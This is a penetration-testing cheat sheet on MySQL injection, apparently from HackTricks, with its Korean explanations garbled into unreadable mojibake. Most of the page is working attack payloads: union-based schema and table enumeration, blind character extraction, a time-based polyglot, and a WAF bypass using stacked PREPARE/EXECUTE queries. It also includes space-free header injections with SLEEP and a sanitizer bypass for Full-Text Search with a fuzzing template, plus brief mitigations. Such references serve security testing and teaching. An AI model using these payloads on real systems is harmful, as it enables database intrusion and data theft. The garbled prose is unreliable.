MySQL injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ฃผ์
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
ํฅ๋ฏธ๋ก์ด ํจ์
Mysql ํ์ธ:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
์ ์ฉํ ํจ์
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
๋ชจ๋ injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
ํ๋ฆ
์ต์ ๋ฒ์ ์ MySQL์์๋ โinformation_schema.tablesโ๋ฅผ โmysql.innodb_table_statsโ ๋์ ์ฌ์ฉํ ์ ์๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์. (์ด๋ WAFs๋ฅผ ์ฐํํ๋ ๋ฐ ์ ์ฉํ ์ ์์ต๋๋ค).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
๊ฐ 1๊ฐ๋ง
group_concat()Limit X,1
Blind ํ ๊ธ์์ฉ
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind ์ถ๊ฐ
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
์ปฌ๋ผ ์ ๊ฐ์ง
๊ฐ๋จํ ORDER ์ฌ์ฉ
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
์ฌ๊ธฐ์์ ๋ค์ํ ์ต์ ์ ์์๋ณด์ธ์ abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Executing queries through Prepared Statements
stacked queries๊ฐ ํ์ฉ๋ ๊ฒฝ์ฐ, ์คํํ๋ ค๋ ์ฟผ๋ฆฌ์ hex representation์ ๋ณ์์ ํ ๋น(SET ์ฌ์ฉ)ํ ๋ค PREPARE์ EXECUTE MySQL ๋ฌธ์ ์ฌ์ฉํด ๊ฒฐ๊ตญ ๊ทธ ์ฟผ๋ฆฌ๋ฅผ ์คํํจ์ผ๋ก์จ WAFs๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. ์:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
์์ธํ ๋ด์ฉ์ this blog post๋ฅผ ์ฐธ์กฐํ์ธ์.
Information_schema ๋์ฒด ๋ฐฉ๋ฒ
๊ธฐ์ตํ์ธ์: โmodernโ ๋ฒ์ ์ MySQL์์๋ _information_schema.tables_์ mysql.innodb_table_stats ๋๋ sys.x$schema_flattened_keys ๋๋ sys.schema_table_statistics๋ก ๋์ฒดํ ์ ์์ต๋๋ค
MySQLinjection ์ผํ ์์ด
์ผํ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ 2๊ฐ์ ์ปฌ๋ผ ์ ํ (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
์ปฌ๋ผ ์ด๋ฆ ์์ด ๊ฐ ๊ฐ์ ธ์ค๊ธฐ
ํ ์ด๋ธ ์ด๋ฆ์ ์๊ณ ์์ง๋ง ํ ์ด๋ธ ์์ ์ปฌ๋ผ ์ด๋ฆ์ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ด ์คํํด์ ์ปฌ๋ผ์ด ๋ช ๊ฐ์ธ์ง ์์๋ณผ ์ ์์ต๋๋ค:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
๋ ๊ฐ์ ์ด์ด ์๋ค๊ณ ๊ฐ์ ํ๊ณ (์ฒซ ๋ฒ์งธ๊ฐ ID์ด๊ณ ๋ค๋ฅธ ํ๋๊ฐ flag์ธ ๊ฒฝ์ฐ), flag์ ๋ด์ฉ์ ๋ฌธ์ ํ๋์ฉ bruteforceํ์ฌ ์๋ํด ๋ณผ ์ ์์ต๋๋ค:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
์ถ๊ฐ ์ ๋ณด: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
SPACES ์์ด Injection (/**/ comment trick)
์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์
์ sscanf("%128s", buf)์ ๊ฐ์ ํจ์๋ก ์ฌ์ฉ์ ์
๋ ฅ์ ์ ์ ํ๊ฑฐ๋ ํ์ฑํ๋๋ฐ, ์ด ํจ์๋ค์ ์ฒซ ๋ฒ์งธ ๊ณต๋ฐฑ ๋ฌธ์์์ ๋ฉ์ถฅ๋๋ค.
MySQL์ด ์ํ์ค /**/๋ฅผ ์ฃผ์ ๊ทธ๋ฆฌ๊ณ ๊ณต๋ฐฑ์ผ๋ก ์ฒ๋ฆฌํ๊ธฐ ๋๋ฌธ์, ์ด ํ๊ธฐ๋ฅผ ์ด์ฉํ๋ฉด ์ฟผ๋ฆฌ ๋ฌธ๋ฒ์ ์ ํจํ๊ฒ ์ ์งํ๋ฉด์ ํ์ด๋ก๋์ ์ผ๋ฐ ๊ณต๋ฐฑ์ ์์ ํ ์ ๊ฑฐํ ์ ์์ต๋๋ค.
์: time-based blind injection์ผ๋ก space filter๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋ฐ๋ ํํ๋:
' OR SLEEP(5)-- -'
This is especially handy when:
- ์ ์ด ๊ฐ๋ฅํ ๋ฒํผ์ ํฌ๊ธฐ๊ฐ ์ ํ๋์ด ์์ ๋(์:
%128s) ๊ณต๋ฐฑ์ด ์ ๋ ฅ์ ์ค๊ฐ์ ์ข ๋ฃ์ํฌ ์ ์์ต๋๋ค. - HTTP headers ๋๋ ์ผ๋ฐ ๊ณต๋ฐฑ์ด ์ ๊ฑฐ๋๊ฑฐ๋ ๊ตฌ๋ถ์๋ก ์ฌ์ฉ๋๋ ๋ค๋ฅธ ํ๋๋ฅผ ํตํด ์ฃผ์ ํ ๋.
- ์์ ํ pre-auth RCE๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด
INTO OUTFILEprimitives์ ๊ฒฐํฉ๋ ๋ (MySQL File RCE ์น์ ์ฐธ์กฐ).
MySQL ๊ธฐ๋ก
MySQL์์ ํ ์ด๋ธ์ ์ฝ๋ ๋์ ์ํ๋ ๋ค๋ฅธ ์คํ๋ค์ ๋ณผ ์ ์์ต๋๋ค: sys.x$statement_analysis
๋ฒ์ ๋์s
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
์ด๊ฒ์ ์ ํ์ ์ธ SQL injection์ด ์๋๋๋ค. ๊ฐ๋ฐ์๊ฐ ์ฌ์ฉ์ ์
๋ ฅ์ MATCH(col) AGAINST('...' IN BOOLEAN MODE)์ ์ ๋ฌํ ๋, MySQL์ ์ธ์ฉ๋ ๋ฌธ์์ด ๋ด๋ถ์์ ๋ค์ํ Boolean ๊ฒ์ ์ฐ์ฐ์๋ฅผ ์คํํฉ๋๋ค. ๋ง์ WAF/SAST ๊ท์น์ ๋ฐ์ดํ๋ฅผ ๊นจ๋ ๊ฒ์๋ง ์ง์คํด ์ด ์ ์ ๋์นฉ๋๋ค.
Key points:
- Operators are evaluated inside the quotes:
+(๋ฐ๋์ ํฌํจ),-(ํฌํจํ์ง ์์์ผ ํจ),*(ํํ ์์ผ๋์นด๋),"..."(์ ํํ ๋ฌธ๊ตฌ),()(๊ทธ๋ฃนํ),</>/~(๊ฐ์ค์น). See MySQL docs. - This allows presence/absence and prefix tests without breaking out of the string literal, e.g.
AGAINST('+admin*' IN BOOLEAN MODE)to check for any term starting withadmin. - Useful to build oracles such as โdoes any row contain a term with prefix X?โ and to enumerate hidden strings via prefix expansion.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
์ ํ๋ฆฌ์ผ์ด์ ์ด result set์ด ๋น์๋์ง์ ๋ฐ๋ผ ๋ค๋ฅธ ์๋ต(์: redirect vs. error message)์ ๋ฐํํ๋ค๋ฉด, ๊ทธ ๋์์ Boolean oracle์ด ๋์ด ์จ๊ฒจ์ง/์ญ์ ๋ ์ ๋ชฉ๊ณผ ๊ฐ์ ๋น๊ณต๊ฐ ๋ฐ์ดํฐ๋ฅผ ์ด๊ฑฐํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ค.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: ๋ฐฑ์๋๊ฐ ๋จ์ด๋น 1โ2๊ฐ์ ๊ผฌ๋ฆฌ ๋ฌธ์๋ฅผ
(\b.{1,2})(\s)|(\b.{1,2}$)๊ฐ์ ์ ๊ท์์ผ๋ก ์๋ผ๋ธ๋ค๋ฉด,prefix*ZZ๋ฅผ ์ ์ถํ๋ผ. cleaner๋ZZ๋ง ์๋ผ๋ด๊ณ*๋ ๋จ๊ฒจ๋๋ฏ๋กprefix*๊ฐ ์ ์ง๋๋ค. - Early-break stripping: ์ฝ๋๊ฐ ๋จ์ด๋ณ๋ก ์ฐ์ฐ์๋ฅผ ์ ๊ฑฐํ์ง๋ง ๊ธธ์ด โฅ min length์ธ ํ ํฐ์ ์ฐพ์ผ๋ฉด ์ฒ๋ฆฌ๋ฅผ ์ค๋จํ๋ค๋ฉด, ๋ ๊ฐ์ ํ ํฐ์ ๋ณด๋ธ๋ค: ์ฒซ ๋ฒ์งธ๋ ๊ธธ์ด ์๊ณ๊ฐ์ ์ถฉ์กฑํ๋ ์ ํฌ ํ ํฐ์ด๊ณ , ๋ ๋ฒ์งธ๊ฐ operator payload๋ฅผ ๋ด๋๋ค. For example:
&&&&& +jack*ZZโ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26๋&,%2B๋+์ ๋๋ค. ๋์xD(๋๋ ์๋ฌด ๋ ๋ฌธ์)๋ ํด๋ฆฌ๋์ ์ํด ์๋ ค{FUZZ}*๊ฐ ๋ณด์กด๋ฉ๋๋ค.- ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ โmatchโ๋ก ์ฒ๋ฆฌํ๊ณ ์๋ฌ ํ์ด์ง๋ฅผ โno matchโ๋ก ์ฒ๋ฆฌํ์ธ์. ์ค๋ผํด์ ๊ด์ฐฐ ๊ฐ๋ฅํ๊ฒ ์ ์งํ๋ ค๋ฉด ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ์๋์ผ๋ก ๋ฐ๋ผ๊ฐ์ง ๋ง์ธ์.
์ด๊ฑฐ ์์ ํ๋ฆ:
- ์ฒซ ๊ธ์ ๋งค์น๋ฅผ ์ฐพ๊ธฐ ์ํด
{FUZZ} = aโฆz,0โฆ9๋ก ์์ํ์ฌ+a*,+b*, โฆ ๋ฅผ ์ฌ์ฉํ์ธ์. - ๊ฐ ๊ธ์ ์ ์ ๋์ฌ๋ง๋ค ๋ถ๊ธฐ:
a* โ aa* / ab* / โฆ. ์ ์ฒด ๋ฌธ์์ด์ ๋ณต๊ตฌํ ๋๊น์ง ๋ฐ๋ณตํฉ๋๋ค. - ์ฑ์ด ํ๋ฌ๋ ์ ์ด๋ฅผ ์ ์ฉํ๋ฉด ์์ฒญ์ ๋ถ์ฐํ์ธ์ (ํ๋ก์, ๋ค์ค ๊ณ์ ๋ฑ).
์ ์ ๋ชฉ์ ์ข ์ข leakํ๋๋ฐ ๋ณธ๋ฌธ์ ๊ทธ๋ ์ง ์์๊ฐ:
- ์ผ๋ถ ์ฑ์ ์ ๋ชฉ/์ฃผ์ ์ ๋ํ ์๋น MATCH ์ดํ์๋ง ๊ฐ์์ฑ ๊ฒ์ฌ๋ฅผ ์ ์ฉํฉ๋๋ค. ํํฐ๋ง ์ ์ ์ ์ด ํ๋ฆ์ด โany results?โ ๊ฒฐ๊ณผ์ ์์กดํ๋ฉด, ์กด์ฌ์ฑ leaks๊ฐ ๋ฐ์ํฉ๋๋ค.
์ํ ๋ฐฉ์:
- Boolean logic์ด ํ์ ์๋ค๋ฉด
IN NATURAL LANGUAGE MODE๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ฆฌํฐ๋ด๋ก ์ทจ๊ธํ์ธ์ (์ด์ค์ผ์ดํ/๋ฐ์ดํ๋ก ๋ค๋ฅธ ๋ชจ๋์ ์ฐ์ฐ์๋ฅผ ๋นํ์ฑํ). - Boolean mode๊ฐ ํ์ํ๋ค๋ฉด ํ ํฐํ ํ(์ค๊ฐ ์ค๋จ ์์ด) ๋ชจ๋ ํ ํฐ์ ๋ํด ๋ชจ๋ Boolean ์ฐ์ฐ์ (
+ - * " ( ) < > ~)๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ ๋ฌด๋ ฅํํ์ธ์. - MATCH ์ด์ ์ ๊ฐ์์ฑ/๊ถํ ํํฐ๋ฅผ ์ ์ฉํ๊ฑฐ๋, ๊ฒฐ๊ณผ ์งํฉ์ด ๋น์ด์์ ๋์ ๋น์ด์์ง ์์ ๋์ ์๋ต(ํ์ด๋ฐ/์ํ)์ ํต์ผํ์ธ์.
- ๋ค๋ฅธ DBMS์ ์ ์ฌ ๊ธฐ๋ฅ์ ๊ฒํ ํ์ธ์: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2์CONTAINS๋ ๋ฐ์ดํ๋ก ๊ฐ์ผ ์ธ์ ์์ ์ฐ์ฐ์๋ฅผ ํ์ฑํฉ๋๋ค.
์ฐธ๊ณ :
- Prepared statements๋
REGEXP๋ ๊ฒ์ ์ฐ์ฐ์์ ์๋ฏธ์ ๋จ์ฉ์ผ๋ก๋ถํฐ ๋ณดํธํ์ง ์์ต๋๋ค..*๊ฐ์ ์ ๋ ฅ์ ๋ฐ์ดํ๋ก ๊ฐ์ผREGEXP '.*'์์ ์์ด๋ ์ฌ์ ํ ๊ด๋ํ ์ ๊ท์์ผ๋ก ๋จ์ต๋๋ค. ํ์ฉ ๋ชฉ๋ก(allow-lists)์ด๋ ๋ช ์์ ๊ฐ๋๋ฅผ ์ฌ์ฉํ์ธ์.
Other MYSQL injection guides
์ฐธ๊ณ ์๋ฃ
- PayloadsAllTheThings โ MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search โ Boolean mode
- MySQL Full-Text Search โ Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


